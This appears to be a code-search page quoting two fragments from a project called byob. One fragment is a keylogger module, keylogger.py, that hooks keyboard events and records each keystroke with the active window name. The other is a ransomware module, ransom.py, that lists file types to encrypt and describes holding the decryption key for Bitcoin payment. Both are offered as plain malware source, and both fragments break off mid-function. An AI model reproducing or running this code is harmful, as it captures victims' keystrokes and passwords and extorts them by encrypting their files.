コード例 #1
0
ファイル: keylogger.py プロジェクト: R0ckNRolla/byob
import collections

# modules

import util

# globals

packages = ['pyHook', 'pythoncom'] if os.name == 'nt' else ['pyxhook']
platforms = ['win32', 'linux2', 'darwin']
window = None
max_size = 4000
log = cStringIO.StringIO()
results = Queue.Queue()
util.is_compatible(platforms, __name__)
util.imports(packages)


def _event(event):
    try:
        if event.WindowName != globals()['window']:
            globals()['window'] = event.WindowName
            globals()['log'].write("\n[{}]\n".format(window))
        if event.Ascii > 32 and event.Ascii < 127:
            globals()['log'].write(chr(event.Ascii))
        elif event.Ascii == 32:
            globals()['log'].write(' ')
        elif event.Ascii in (10, 13):
            globals()['log'].write('\n')
        elif event.Ascii == 8:
            globals()['log'].seek(-1, 1)
コード例 #2
0
ファイル: ransom.py プロジェクト: guitared/byob
    '.cr2', '.dcr', '.rwl', '.rw2', '.pyc', '.kdc', '.erf', '.mef', '.mrw',
    '.nef', '.nrw', '.orf', '.raf', '.raw', '.r3d', '.ptx', '.css', '.pef',
    '.srw', '.x3f', '.der', '.cer', '.crt', '.pem', '.pfx', '.p12', '.p7b',
    '.p7c', '.html', '.css', '.js', '.rb', '.xml', '.wmi', '.sh', '.asp',
    '.aspx', '.plist', '.sql', '.vbs', '.ps1', '.sqlite'
]
usage = 'ransom <encrypt/decrypt/payment>'
description = """
Encrypt the files on a client host machine and ransom the decryption key
back to the currently logged-in user for a payment in Bitcoin to a randomly
generated temporary wallet address that expires in 12 hours
"""

# setup
if util.is_compatible(platforms, __name__):
    util.imports(packages, globals())


# main
def _threader(tasks):
    try:
        retries = 0
        while True:
            try:
                method, task = tasks.get_nowait()
                if callable(method):
                    method(task)
                tasks.task_done()
            except:
                if retries < 3:
                    retries += 1